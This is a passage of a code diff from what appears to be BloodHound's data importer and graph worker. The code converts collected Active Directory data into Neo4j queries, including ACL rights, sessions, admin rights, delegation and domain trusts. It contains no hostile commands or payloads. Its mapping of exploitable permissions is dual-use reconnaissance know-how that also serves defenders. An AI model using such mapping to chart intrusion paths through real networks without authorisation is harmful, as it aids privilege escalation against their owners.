-            });
-        } else {
-            datadict[type] = {
-                statement: `UNWIND {props} AS prop MERGE (a:{} {name:prop.accountName}) WITH a,prop MERGE (b:Computer {name:prop.computerName}) WITH a,b,prop MERGE (a)-[r:AdminTo {isACL: false}]->(b) SET a.domain=prop.accountDomain, b.domain=prop.computerDomain`.format(type),
-                props: [{
-                    accountName: account,
-                    accountDomain: getDomainFromLabel(account, type),
-                    computerName: computer,
-                    computerDomain: getDomainFromLabel(computer, "computer")
-                }]
-            };
-        }
-    });
-
-    return datadict;
-}
-
-export function buildSessionProps(rows) {
-    var datadict = {};
-
-    $.each(rows, function (index, row) {
-        let account = row.UserName.toUpperCase();
-        let computer = row.ComputerName.toUpperCase();
-
-        if (datadict['user']) {
-            datadict['user'].props.push({
-                accountName: account,
-                accountDomain: getDomainFromLabel(account, "user"),
-                computerName: computer,
-                computerDomain: getDomainFromLabel(computer, "computer"),
-                weight: row.Weight
-            });
-        } else {
-            datadict['user'] = {
-                statement: `UNWIND {props} AS prop MERGE (a:User {name:prop.accountName}) WITH a,prop MERGE (b:Computer {name: prop.computerName}) WITH a,b,prop MERGE (b)-[:HasSession {Weight : prop.weight, isACL:false}]-(a) SET a.domain=prop.accountDomain,b.domain=prop.computerDomain`,
-                props: [{
-                    accountName: account,
-                    accountDomain: getDomainFromLabel(account, "user"),
-                    computerName: computer,
-                    computerDomain: getDomainFromLabel(computer, "computer"),
-                    weight: row.Weight
-                }]
-            };
-        }
-    });
-
-    return datadict;
-}
-
-export function buildDomainProps(rows) {
-    var datadict = {};
-
-    datadict['domain'] = {
-        statement: 'UNWIND {props} AS prop MERGE (domain1:Domain {name: prop.domain1}) WITH domain1,prop MERGE (domain2:Domain {name: prop.domain2}) WITH domain1,domain2,prop MERGE (domain1)-[:TrustedBy {TrustType : prop.trusttype, Transitive: toBoolean(prop.transitive), isACL:false}]->(domain2) SET domain1.domain=prop.domain1,domain2.domain=prop.domain2',
-        props: []
-    };
-
-    $.each(rows, function (index, row) {
-        let type = row.TrustDirection;
-        let domaina = row.TargetDomain.toUpperCase();
-        let domainb = row.SourceDomain.toUpperCase();
-        
-        switch (type){
-            case 'Inbound':
-                datadict['domain'].props.push({
-                    domain1: domaina,
-                    domain2: domainb,
-                    trusttype: row.TrustType,
-                    transitive: row.Transitive
-                });
-                break;
-            case 'Outbound':
-                datadict['domain'].props.push({
-                    domain1: domainb,
-                    domain2: domaina,
-                    trusttype: row.TrustType,
-                    transitive: row.Transitive
-                });
-                break;
-            case 'Bidirectional':
-                datadict['domain'].props.push({
-                    domain1: domaina,
-                    domain2: domainb,
-                    trusttype: row.TrustType,
-                    transitive: row.Transitive
-                });
-                datadict['domain'].props.push({
-                    domain1: domainb,
-                    domain2: domaina,
-                    trusttype: row.TrustType,
-                    transitive: row.Transitive
-                });
-                break;
-        }
-    });
-
-    return datadict;
-}
-
-export function buildStructureProps(rows){
-    let datadict = {};
-
-    $.each(rows, function(index, row){
-        let hash = (row.ContainerType + row.ObjectType).toUpperCase();
-        let atype = row.ContainerType;
-        let btype = row.ObjectType;
-        let aguid = row.ContainerGUID;
-        let bguid = row.ObjectId;
-
-        if (atype === 'ou'){
-            atype = 'OU';
-        }else{
-            atype = atype.toTitleCase();
-        }
-
-        if (btype === 'ou') {
-            btype = 'OU';
-        } else {
-            btype = btype.toTitleCase();
-        }
-
-        let container = row.ContainerName.toUpperCase();
-        let object = row.ObjectName.toUpperCase();
-
-        if (atype === 'OU' && btype === 'OU') {
-            if (datadict[hash]){
-                datadict[hash].props.push({
-                    container: container,
-                    object: object,
-                    containerDomain: getDomainFromLabel(container, atype),
-                    objectDomain: getDomainFromLabel(object, btype),
-                    blocksInheritance: row.ContainerBlocksInheritance,
-                    containerGuid: aguid,
-                    objectGuid: bguid
-                });
-            }else{
-                datadict[hash] = {
-                    statement: 'UNWIND {props} AS prop MERGE (a:OU {guid:prop.containerGuid}) WITH a,prop MERGE (b:OU {guid:prop.objectGuid}) WITH a,b,prop MERGE (a)-[r:Contains {isACL: false}]->(b) SET a.blocksInheritance=toBoolean(prop.blocksInheritance), a.domain=prop.containerDomain, b.domain=prop.objectDomain, a.name=prop.container, b.name=prop.object',
-                    props: [{
-                        container: container,
-                        object: object,
-                        containerDomain: getDomainFromLabel(container, atype),
-                        objectDomain: getDomainFromLabel(object, btype),
-                        blocksInheritance: row.ContainerBlocksInheritance,
-                        containerGuid: aguid,
-                        objectGuid: bguid
-                    }]
-                };
-            }
-        }else if (atype === 'OU'){
-            if (datadict[hash]) {
-                datadict[hash].props.push({
-                    container: container,
-                    object: object,
-                    containerDomain: getDomainFromLabel(container, "OU"),
-                    objectDomain: getDomainFromLabel(object, btype),
-                    blocksInheritance: row.ContainerBlocksInheritance,
-                    containerGuid: row.ContainerGUID
-                });
-            } else {
-                datadict[hash] = {
-                    statement: 'UNWIND {props} AS prop MERGE (a:OU {guid:prop.containerGuid}) WITH a,prop MERGE (b:{} {name:prop.object}) WITH a,b,prop MERGE (a)-[r:Contains {isACL: false}]->(b) SET a.blocksInheritance=toBoolean(prop.blocksInheritance), a.domain=prop.containerDomain, b.domain=prop.objectDomain, a.name=prop.container'.format(btype),
-                    props: [{
-                        container: container,
-                        object: object,
-                        containerDomain: getDomainFromLabel(container, "OU"),
-                        objectDomain: getDomainFromLabel(object, btype),
-                        blocksInheritance: row.ContainerBlocksInheritance,
-                        containerGuid: row.ContainerGUID
-                    }]
-                };
-            }
-        }else if (btype === 'OU'){
-            if (datadict[hash]) {
-                datadict[hash].props.push({
-                    container: container,
-                    object: object,
-                    containerDomain: getDomainFromLabel(container, atype),
-                    objectDomain: getDomainFromLabel(object, "OU"),
-                    blocksInheritance: row.ContainerBlocksInheritance,
-                    objectGuid: row.ObjectId
-                });
-            } else {
-                datadict[hash] = {
-                    statement: 'UNWIND {props} AS prop MERGE (a:{} {name:prop.container}) WITH a,prop MERGE (b:OU {guid:prop.objectGuid}) WITH a,b,prop MERGE (a)-[r:Contains {isACL: false}]->(b) SET a.blocksInheritance=toBoolean(prop.blocksInheritance), a.domain=prop.containerDomain, b.domain=prop.objectDomain, b.name=prop.object'.format(atype),
-                    props: [{
-                        container: container,
-                        object: object,
-                        containerDomain: getDomainFromLabel(container, atype),
-                        objectDomain: getDomainFromLabel(object, "OU"),
-                        blocksInheritance: row.ContainerBlocksInheritance,
-                        objectGuid: row.ObjectId
-                    }]
-                };
-            }
-        }else{
-            if (datadict[hash]) {
-                datadict[hash].props.push({
-                    container: container,
-                    object: object,
-                    containerDomain: getDomainFromLabel(container, atype),
-                    objectDomain: getDomainFromLabel(object, btype),
-                    blocksInheritance: row.ContainerBlocksInheritance
-                });
-            } else {
-                datadict[hash] = {
-                    statement: 'UNWIND {props} AS prop MERGE (a:{} {name:prop.container}) WITH a,prop MERGE (b:{} {name: prop.object}) WITH a,b,prop MERGE (a)-[r:Contains {isACL: false}]->(b) SET a.blocksInheritance=toBoolean(prop.blocksInheritance), a.domain=prop.containerDomain, b.domain=prop.objectDomain'.format(atype, btype),
-                    props: [{
-                        container: container,
-                        object: object,
-                        containerDomain: getDomainFromLabel(container, atype),
-                        objectDomain: getDomainFromLabel(object, btype),
-                        blocksInheritance: row.ContainerBlocksInheritance
-                    }]
-                };
-            }
-        }
-    });
-
-    return datadict;
-}
-
-export function buildGplinkProps(rows){
-    let datadict = {};
-
-    $.each(rows, function (index, row) {
-        let type = row.ObjectType;
-        let gpoName = row.GPODisplayName.toUpperCase();
-        let objectName = row.ObjectName.toUpperCase();
-
-        if (type === 'ou') {
-            type = 'OU';
-        } else {
-            type = type.toTitleCase();
-        }
-
-        if (type === 'OU'){
-            if (datadict[type]) {
-                datadict[type].props.push({
-                    gponame: gpoName,
-                    objectname: objectName,
-                    enforced: row.IsEnforced,
-                    gpoDomain: getDomainFromLabel(gpoName, "GPO"),
-                    objectDomain: getDomainFromLabel(objectName, "OU"),
-                    objectGuid: row.ObjectGUID,
-                    gpoGuid: row.GPOGuid
-                });
-            } else {
-                datadict[type] = {
-                    statement: 'UNWIND {props} as prop MERGE (a:GPO {name: prop.gponame}) WITH a,prop MERGE (b:OU {guid: prop.objectGuid}) WITH a,b,prop MERGE (a)-[r:GpLink {enforced: toBoolean(prop.enforced), isACL: false}]->(b) SET a.guid=prop.gpoGuid,b.name=prop.objectName,a.domain=prop.gpoDomain,b.domain=prop.objectDomain',
-                    props: [{
-                        gponame: gpoName,
-                        objectname: objectName,
-                        enforced: row.IsEnforced,
-                        gpoDomain: getDomainFromLabel(gpoName, "GPO"),
-                        objectDomain: getDomainFromLabel(objectName, "OU"),
-                        objectGuid: row.ObjectGUID,
-                        gpoGuid: row.GPOGuid
-                    }]
-                };
-            }
-        }else{
-            if (datadict[type]) {
-                datadict[type].props.push({
-                    gponame: gpoName,
-                    objectname: objectName,
-                    enforced: row.IsEnforced,
-                    gpoDomain: getDomainFromLabel(gpoName, "GPO"),
-                    objectDomain: getDomainFromLabel(objectName, type),
-                    gpoGuid: row.GPOGuid
-                });
-            } else {
-                datadict[type] = {
-                    statement: 'UNWIND {props} as prop MERGE (a:GPO {name: prop.gponame}) WITH a,prop MERGE (b:{} {name: prop.objectname}) WITH a,b,prop MERGE (a)-[r:GpLink {enforced: toBoolean(prop.enforced), isACL: false}]->(b) SET a.guid=prop.gpoGuid,a.domain=prop.gpoDomain,b.domain=prop.objectDomain'.format(type),
-                    props: [{
-                        gponame: gpoName,
-                        objectname: objectName,
-                        enforced: row.IsEnforced,
-                        gpoDomain: getDomainFromLabel(gpoName, "GPO"),
-                        objectDomain: getDomainFromLabel(objectName, type),
-                        gpoGuid: row.GPOGuid
-                    }]
-                };
-            }
-        }
-        
-    });
-    return datadict;
-}
-
-export function buildACLProps(rows) {
-    var datadict = {};
-
-    $.each(rows, function(index, row) {
-        var b = row.ObjectName.toUpperCase();
-        var a = row.PrincipalName.toUpperCase();
-        if (a === b){
+        if (objname === principal) {
             return;
         }
-        var btype = row.ObjectType.toTitleCase();
-        if (btype === 'Gpo'){
-            btype = 'GPO';
-        }
-        var atype = row.PrincipalType.toTitleCase();
-        var rel = row.ActiveDirectoryRights;
-        var extright = row.ACEType;
 
-        var rights = [];
+        let rights = [];
 
-        if (extright === 'All'){
+        //Process the right/type to figure out the ACEs we need to add
+        if (acetype === "All") {
             rights.push("AllExtendedRights");
-        }else if (extright === 'User-Force-Change-Password'){
+        } else if (acetype === "User-Force-Change-Password") {
             rights.push("ForceChangePassword");
-        }else if (rel === "ExtendedRight"){
-            rights.push(extright);
+        } else if (acetype === "Member") {
+            rights.push("AddMember");
+        } else if (right === "ExtendedRight") {
+            rights.push(acetype);
         }
 
-        if (rel.includes("GenericAll")){
+        if (right === "GenericAll") {
             rights.push("GenericAll");
         }
 
-        if (rel.includes("WriteDacl")){
+        if (right === "WriteDacl") {
             rights.push("WriteDacl");
         }
 
-        if (rel.includes("WriteOwner")){
+        if (right === "WriteOwner") {
             rights.push("WriteOwner");
         }
 
-        if (rel.includes("GenericWrite")){
+        if (right === "GenericWrite") {
             rights.push("GenericWrite");
         }
 
-        if (rel.includes("WriteProperty") && extright === "Member"){
-            rights.push("AddMember");
-        }
-
-        if (rel === "Owner"){
+        if (right === "Owner") {
             rights.push("Owns");
         }
 
-        $.each(rights, function(index, record){
-            var hash = (atype + record + btype).toUpperCase();
-            if (btype === 'Computer') {
-                return;
-            }
+        if (right === "ReadLAPSPassword"){
+            rights.push("ReadLAPSPassword");
+        }
 
-            
-            if (datadict[hash]) {
-                datadict[hash].props.push({
-                    account: a,
-                    principal: b
-                });
-            } else {
-                datadict[hash] = {
-                    statement: 'UNWIND {props} AS prop MERGE (a:{} {name:prop.account}) WITH a,prop MERGE (b:{} {name: prop.principal}) WITH a,b,prop MERGE (a)-[r:{} {isACL:true}]->(b)'.format(atype, btype, record),
-                    props: [{ account: a, principal: b }]
-                };
+        $.each(rights, function(_, right) {
+            let hash = right + principaltype;
+            let formatted = baseAceQuery.format(
+                principaltype.toTitleCase(),
+                objtype,
+                right
+            );
+
+            insert(output, hash, formatted, {
+                principal: principal,
+                obj: objname
+            });
+        });
+    });
+}
+
+export function buildDomainJson(chunk) {
+    let queries = {};
+    queries.properties = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Domain {name:prop.name}) SET n += prop.map",
+        props: []
+    };
+
+    queries.links = {
+        statement:
+            "UNWIND {props} as prop MERGE (n:Domain {name:prop.domain}) MERGE (m:GPO {name:prop.gpo}) MERGE (m)-[r:GpLink {enforced:prop.enforced, isacl:false}]->(n)",
+        props: []
+    };
+
+    queries.trusts = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Domain {name: prop.a}) MERGE (m:Domain {name: prop.b}) MERGE (n)-[:TrustedBy {trusttype : prop.trusttype, transitive: prop.transitive, isacl:false}]->(m)",
+        props: []
+    };
+
+    queries.childous = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Domain {name:prop.domain}) MERGE (m:OU {guid:prop.guid}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    queries.computers = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Domain {name:prop.domain}) MERGE (m:Computer {name:prop.comp}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    queries.users = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Domain {name:prop.domain}) MERGE (m:User {name:prop.user}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    $.each(chunk, function(_, domain) {
+        let name = domain.Name;
+        let properties = domain.Properties;
+
+        queries.properties.props.push({ map: properties, name: name });
+
+        let links = domain.Links;
+        $.each(links, function(_, link) {
+            let enforced = link.IsEnforced;
+            let target = link.Name;
+
+            queries.links.props.push({
+                domain: name,
+                gpo: target,
+                enforced: enforced
+            });
+        });
+
+        let trusts = domain.Trusts;
+        $.each(trusts, function(_, trust) {
+            let target = trust.TargetName;
+            let transitive = trust.IsTransitive;
+            let direction = trust.TrustDirection;
+            let type = trust.TrustType;
+
+            switch (direction) {
+                case 0:
+                    queries.trusts.props.push({
+                        a: target,
+                        b: name,
+                        transitive: transitive,
+                        trusttype: type
+                    });
+                    break;
+                case 1:
+                    queries.trusts.props.push({
+                        a: name,
+                        b: target,
+                        transitive: transitive,
+                        trusttype: type
+                    });
+                    break;
+                case 2:
+                    queries.trusts.props.push({
+                        a: name,
+                        b: target,
+                        transitive: transitive,
+                        trusttype: type
+                    });
+                    queries.trusts.props.push({
+                        a: target,
+                        b: name,
+                        transitive: transitive,
+                        trusttype: type
+                    });
+                    break;
             }
-            
+        });
+
+        let aces = domain.Aces;
+        processAceArray(aces, name, "Domain", queries);
+
+        let childous = domain.ChildOus;
+
+        $.each(childous, function(_, ou) {
+            queries.childous.props.push({ domain: name, guid: ou });
+        });
+
+        let comps = domain.Computers;
+        $.each(comps, function(_, computer) {
+            queries.computers.props.push({ domain: name, comp: computer });
+        });
+
+        let users = domain.Users;
+        $.each(users, function(_, user) {
+            queries.users.props.push({ domain: name, user: user });
         });
     });
 
-    return datadict;
+    return queries;
+}
+
+export function buildGpoJson(chunk) {
+    let queries = {};
+    queries.properties = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:GPO {name:prop.name}) SET n.guid=prop.guid, n+=prop.map",
+        props: []
+    };
+
+    $.each(chunk, function(_, gpo) {
+        let name = gpo.Name;
+        let guid = gpo.Guid;
+        let properties = gpo.Properties;
+        queries.properties.props.push({ name: name, guid: guid, map:properties });
+
+        let aces = gpo.Aces;
+        processAceArray(aces, name, "GPO", queries);
+    });
+
+    return queries;
+}
+
+export function buildGroupJson(chunk) {
+    let queries = {};
+    queries.properties = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:Group {name:prop.name}) SET n += prop.map",
+        props: []
+    };
+
+    let baseStatement =
+        "UNWIND {props} AS prop MERGE (n:Group {name: prop.name}) MERGE (m:{} {name:prop.member}) MERGE (m)-[r:MemberOf {isacl:false}]->(n)";
+
+    $.each(chunk, function(_, group) {
+        let name = group.Name;
+        let properties = group.Properties;
+
+        queries.properties.props.push({ map: properties, name: name });
+
+        let aces = group.Aces;
+        processAceArray(aces, name, "Group", queries);
+
+        let members = group.Members;
+        $.each(members, function(_, member) {
+            let mname = member.MemberName;
+            let mtype = member.MemberType;
+
+            let statement = baseStatement.format(mtype.toTitleCase());
+            insert(queries, mtype, statement, { name: name, member: mname });
+        });
+    });
+
+    return queries;
+}
+
+export function buildOuJson(chunk) {
+    let queries = {};
+
+    queries.properties = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:OU {guid:prop.guid}) SET n += prop.map",
+        props: []
+    };
+
+    queries.childous = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:OU {guid:prop.parent}) MERGE (m:OU {guid:prop.child}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    queries.computers = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:OU {guid:prop.ou}) MERGE (m:Computer {name:prop.comp}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    queries.users = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:OU {guid:prop.ou}) MERGE (m:User {name:prop.user}) MERGE (n)-[r:Contains {isacl:false}]->(m)",
+        props: []
+    };
+
+    $.each(chunk, function(_, ou) {
+        let guid = ou.Guid;
+        let properties = ou.Properties;
+
+        queries.properties.props.push({ guid: guid, map: properties });
+
+        let childous = ou.ChildOus;
+        $.each(childous, function(_, cou) {
+            queries.childous.props.push({ parent: guid, child: cou });
+        });
+
+        let computers = ou.Computers;
+        $.each(computers, function(_, computer) {
+            queries.computers.props.push({ ou: guid, comp: computer });
+        });
+
+        let users = ou.Users;
+        $.each(users, function(_, user) {
+            queries.users.props.push({ ou: guid, user: user });
+        });
+    });
+
+    return queries;
+}
+
+export function buildSessionJson(chunk) {
+    let queries = {};
+    queries.sessions = {
+        statement:
+            "UNWIND {props} AS prop MERGE (n:User {name:prop.user}) MERGE (m:Computer {name:prop.comp}) MERGE (m)-[r:HasSession {isacl:false}]->(n)",
+        props: []
+    };
+
+    $.each(chunk, function(_, session) {
+        let name = session.UserName;
+        let comp = session.ComputerName;
+
+        queries.sessions.props.push({ user: name, comp: comp});
+    });
+    return queries;
+}
+
+export function buildGpoAdminJson(chunk) {
+    let queries = {};
+
+    let baseQuery =
+        "UNWIND {props} AS prop MERGE (n:{} {name:prop.admin}) MERGE (m:Computer {name:prop.comp}) MERGE (n)-[r:AdminTo {isacl:false}]->(m)";
+    $.each(chunk, function(_, gpoadmin) {
+        let comp = gpoadmin.Computer;
+        let admin = gpoadmin.Name;
+        let type = gpoadmin.Type;
+
+        let query = baseQuery.format(type.toTitleCase());
+        insert(queries, type, query, { admin: admin, comp: comp });
+    });
+
+    return queries;
+}
+
+export function buildUserJson(chunk) {
+    let queries = {};
+
+    queries.delegate = {
+        statement: "UNWIND {props} AS prop MERGE (n:User {name: prop.name}) MERGE (m:Computer {name: prop.comp}) MERGE (n)-[r:AllowedToDelegate {isacl: false}]->(m)",
+        props: []
+    }
+
+    $.each(chunk, function(_, user) {
+        let name = user.Name;
+        let properties = user.Properties;
+        let primarygroup = user.PrimaryGroup;
+
+        if (!queries.properties) {
+            if (primarygroup === null) {
+                queries.properties = {
+                    statement:
+                        "UNWIND {props} AS prop MERGE (n:User {name:prop.name}) SET n += prop.map",
+                    props: []
+                };
+            } else {
+                queries.properties = {
+                    statement:
+                        "UNWIND {props} AS prop MERGE (n:User {name:prop.name}) MERGE (m:Group {name:prop.pg}) MERGE (n)-[r:MemberOf {isacl:false}]->(m) SET n += prop.map",
+                    props: []
+                };
+            }
+        }
+
+        queries.properties.props.push({
+            map: properties,
+            name: name,
+            pg: primarygroup
+        });
+
+        let aces = user.Aces;
+        processAceArray(aces, name, "User", queries);
+
+        let allowedToDelegate = user.AllowedToDelegate;
+        $.each(allowedToDelegate, (_, comp) =>{
+            queries.delegate.props.push({name: name, comp: comp});
+        });
+    });
+    return queries;
+}
+
+export function buildComputerJson(chunk) {
+    let queries = {};
+    let baseQuery =
+        "UNWIND {props} AS prop MERGE (n:Computer {name:prop.name}) MERGE (m:{} {name:prop.target}) MERGE (m)-[r:{} {isacl: false}]->(n)";
+
+    queries.delegate = {
+        statement: "UNWIND {props} AS prop MERGE (n:Computer {name: prop.name}) MERGE (m:Computer {name: prop.comp}) MERGE (n)-[r:AllowedToDelegate {isacl: false}]->(m)",
+        props: []
+    }
+
+    $.each(chunk, function(_, comp) {
+        let name = comp.Name;
+        let properties = comp.Properties;
+        let localadmins = comp.LocalAdmins;
+        let rdpers = comp.RemoteDesktopUsers;
+        let primarygroup = comp.PrimaryGroup;
+        let dcom = comp.DcomUsers;
+
+        if (!queries.properties) {
+            if (primarygroup === null) {
+                queries.properties = {
+                    statement:
+                        "UNWIND {props} AS prop MERGE (n:Computer {name:prop.name}) SET n += prop.map",
+                    props: []
+                };
+            } else {
+                queries.properties = {
+                    statement:
+                        "UNWIND {props} AS prop MERGE (n:Computer {name:prop.name}) MERGE (m:Group {name:prop.pg}) MERGE (n)-[r:MemberOf {isacl:false}]->(m) SET n += prop.map",
+                    props: []
+                };
+            }
+        }
+
+        queries.properties.props.push({
+            map: properties,
+            name: name,
+            pg: primarygroup
+        });
+        $.each(localadmins, function(_, admin) {
+            let aType = admin.Type;
+            let aName = admin.Name;
+            let rel = "AdminTo";
+
+            let hash = rel + aType;
+
+            let statement = baseQuery.format(aType, rel);
+            let p = { name: name, target: aName };
+            insert(queries, hash, statement, p);
+        });
+
+        $.each(rdpers, function(_, rdp) {
+            let aType = rdp.Type;
+            let aName = rdp.Name;
+            let rel = "CanRDP";
+
+            let hash = rel + aType;
+
+            let statement = baseQuery.format(aType, rel);
+            let p = { name: name, target: aName };
+            insert(queries, hash, statement, p);
+        });
+
+        $.each(dcom, function(_, dcomu) {
+            let aType = dcomu.Type;
+            let aName = dcomu.Name;
+            let rel = "ExecuteDCOM";
+
+            let hash = rel + aType;
+
+            let statement = baseQuery.format(aType, rel);
+            let p = { name: name, target: aName };
+            insert(queries, hash, statement, p);
+        });
+
+        let allowedToDelegate = comp.AllowedToDelegate;
+        $.each(allowedToDelegate, (_, comp) =>{
+            queries.delegate.props.push({name: name, comp: comp});
+        });
+    });
+    return queries;
+}
+
+function insert(obj, hash, statement, prop) {
+    if (obj[hash]) {
+        obj[hash].props.push(prop);
+    } else {
+        obj[hash] = {};
+        obj[hash].statement = statement;
+        obj[hash].props = [];
+        obj[hash].props.push(prop);
+    }
 }
 
 export function escapeRegExp(str) {
diff --git a/src/js/worker.js b/src/js/worker.js
index 6060dfe..92857f8f 100644
--- a/src/js/worker.js
+++ b/src/js/worker.js
@@ -1,58 +1,56 @@
-global.sigma = require('linkurious');
-require('./sigma.helpers.graph.min.js');
+global.sigma = require("linkurious");
+require("./sigma.helpers.graph.min.js");
 Array.prototype.allEdgesSameType = function() {
-
     for (var i = 1; i < this.length; i++) {
-        if (this[i].type !== this[0].type)
-            return false;
+        if (this[i].type !== this[0].type) return false;
     }
 
     return true;
 };
 
-// sigma.classes.graph.addMethod('outboundNodes', function(id) {
-//     return this.outNeighborsIndex.get(id).keyList();
-// });
-
-// sigma.classes.graph.addMethod('inboundNodes', function(id) {
-//     return this.inNeighborsIndex.get(id).keyList();
-// });
-
 var sigmaInstance = new sigma();
 
-
-process.on('message', function(m){
+process.on("message", function(m) {
     var data = JSON.parse(m);
-    params = {edge: data.edge,sibling: data.sibling, start: data.start, end: data.end};
+    params = {
+        edge: data.edge,
+        sibling: data.sibling,
+        start: data.start,
+        end: data.end
+    };
     var spotlightData = {};
     sigmaInstance.graph.clear();
     sigmaInstance.graph.read(data.graph);
-    sigmaInstance.graph.nodes().forEach(function(node){
+    sigmaInstance.graph.nodes().forEach(function(node) {
         node.degree = sigmaInstance.graph.degree(node.id);
     });
     var result = collapseEdgeNodes(sigmaInstance, params, spotlightData);
     sigmaInstance = result[0];
     spotlightData = result[1];
-    result = collapseSiblingNodes(sigmaInstance, params, spotlightData);
-    sigmaInstance = result[0];
-    spotlightData = result[1];
+    //result = collapseSiblingNodes(sigmaInstance, params, spotlightData);
+    //sigmaInstance = result[0];
+    //spotlightData = result[1];
     sigmaInstance.graph.nodes().forEach(function(node) {
         if (!spotlightData.hasOwnProperty(node.id)) {
             spotlightData[node.id] = [node.label, 0, "", node.type, ""];
         }
     });
-    var toSend = {nodes: sigmaInstance.graph.nodes(), edges: sigmaInstance.graph.edges(), spotlight: spotlightData};
+    var toSend = {
+        nodes: sigmaInstance.graph.nodes(),
+        edges: sigmaInstance.graph.edges(),
+        spotlight: spotlightData
+    };
     process.send(toSend);
 });
 
-function collapseEdgeNodes(sigmaInstance, params, spotlightData){
+function collapseEdgeNodes(sigmaInstance, params, spotlightData) {
     var threshold = params.edge;
 
-    if (threshold === 0){
+    if (threshold === 0) {
         return [sigmaInstance, spotlightData];
     }
-    sigmaInstance.graph.nodes().forEach(function(node){
-        if (node.degree < threshold){
+    sigmaInstance.graph.nodes().forEach(function(node) {
+        if (node.degree < threshold) {
             return;
         }
 
@@ -63,55 +61,66 @@ function collapseEdgeNodes(sigmaInstance, params, spotlightData){
         if (params.start !== null && node.label === params.start) {
             return;
         }
-        
 
-        sigmaInstance.graph.adjacentNodes(node.id).forEach(function(anode){
-            if (params.end !== null && anode.label === params.end){
+        sigmaInstance.graph.adjacentNodes(node.id).forEach(function(anode) {
+            if (params.end !== null && anode.label === params.end) {
                 return;
             }
 
-            if (params.start !== null && anode.label === params.start){
+            if (params.start !== null && anode.label === params.start) {
                 return;
             }
 
             var edges = sigmaInstance.graph.adjacentEdges(anode.id);
-            if ((edges.length > 1 || edges.length === 0) || (anode.folded.nodes.length > 0)){
+            if (
+                edges.length > 1 ||
+                edges.length === 0 ||
+                anode.folded.nodes.length > 0
+            ) {
                 return;
             }
 
             var edge = edges[0];
 
-            if ((anode.type_user) 
-                || (anode.type_computer) 
-                || (anode.type_group && edge.label === 'AdminTo')){
+            if (
+                anode.type_user ||
+                anode.type_computer ||
+                (anode.type_group && edge.label === "AdminTo")
+            ) {
                 node.isGrouped = true;
                 node.folded.nodes.push(anode);
                 node.folded.edges.push(edge);
-                spotlightData[anode.id] = [anode.label, node.id, node.label, anode.type, node.type];
+                spotlightData[anode.id] = [
+                    anode.label,
+                    node.id,
+                    node.label,
+                    anode.type,
+                    node.type
+                ];
                 sigmaInstance.graph.dropNode(anode.id);
             }
         });
-        if (node.folded.nodes.length > 0){
+        if (node.folded.nodes.length > 0) {
             node.glyphs.push({
-                'position': 'bottom-left',
-                'content': node.folded.nodes.length
-            });    
+                position: "bottom-left",
+                content: node.folded.nodes.length
+            });
         }
     });
 
     return [sigmaInstance, spotlightData];
 }
 
-function collapseSiblingNodes(sigmaInstance, params, spotlightData){
+function collapseSiblingNodes(sigmaInstance, params, spotlightData) {
     var threshold = params.sibling;
 
-    if (threshold === 0){
+    if (threshold === 0) {
         return [sigmaInstance, spotlightData];
     }
 
-    sigmaInstance.graph.nodes().forEach(function(node){
+    sigmaInstance.graph.nodes().forEach(function(node) {
         //Dont apply this logic to anything thats folded or isn't a computer
-        if (!node.type_computer || node.folded.nodes.length > 0 ){
+        if (!node.type_computer || node.folded.nodes.length > 0) {
             return;
         }
 
@@ -128,33 +137,33 @@ function collapseSiblingNodes(sigmaInstance, params, spotlightData){
         var siblings = [];
 
         //Check to see if all the edges are the same type (i.e. AdminTo)
-        if (adjacent.length > 1 && adjacent.allEdgesSameType()){
+        if (adjacent.length > 1 && adjacent.allEdgesSameType()) {
             //Get the "parents" by mapping the source from every edge
-            var parents = adjacent.map(
-                function(e){
-                    return e.source;
-                }
-            );
+            var parents = adjacent.map(function(e) {
+                return e.source;
+            });
 
-            //Generate our string to compare other nodes to 
+            //Generate our string to compare other nodes to
             //by sorting the parents and turning it into a string
-            var checkString = parents.sort().join(',');
-            var testString; 
+            var checkString = parents.sort().join(",");
+            var testString;
 
             //Loop back over nodes in the graph and look for any nodes
             //with identical parents
-            sigmaInstance.graph.nodes().forEach(function(node2){
-                testString = sigmaInstance.graph.adjacentEdges(node2.id).map(
-                    function(e){
+            sigmaInstance.graph.nodes().forEach(function(node2) {
+                testString = sigmaInstance.graph
+                    .adjacentEdges(node2.id)
+                    .map(function(e) {
                         return e.source;
-                    }
-                ).sort().join(',');
-                if (testString === checkString){
+                    })
+                    .sort()
+                    .join(",");
+                if (testString === checkString) {
                     siblings.push(node2);
                 }
             });
 
-            if (siblings.length >= threshold){
+            if (siblings.length >= threshold) {
                 //Generate a new ID for our grouped node
                 var nodeId = generateUniqueId(sigmaInstance, true);
 
@@ -164,13 +173,15 @@ function collapseSiblingNodes(sigmaInstance, params, spotlightData){
                     y: node.y,
                     degree: siblings.length,
                     label: "Grouped Computers",
-                    type: 'Computer',
+                    type: "Computer",
                     type_computer: true,
                     groupedNode: true,
-                    glyphs: [{
-                        position: 'bottom-left',
-                        content: siblings.length
-                    }],
+                    glyphs: [
+                        {
+                            position: "bottom-left",
+                            content: siblings.length
+                        }
+                    ],
                     folded: {
                         nodes: [],
                         edges: []
@@ -178,15 +189,15 @@ function collapseSiblingNodes(sigmaInstance, params, spotlightData){
                 });
 
                 //Generate new edges for each parent going to our new node
-                parents.forEach(function(parent){
+                parents.forEach(function(parent) {
                     var id = generateUniqueId(sigmaInstance, false);
 
                     sigmaInstance.graph.addEdge({
                         id: id,
                         source: parent,
                         target: nodeId,
-                        label: 'AdminTo',
-                        neo4j_type: 'AdminTo',
+                        label: "AdminTo",
+                        neo4j_type: "AdminTo",
                         size: 1
                     });
                 });
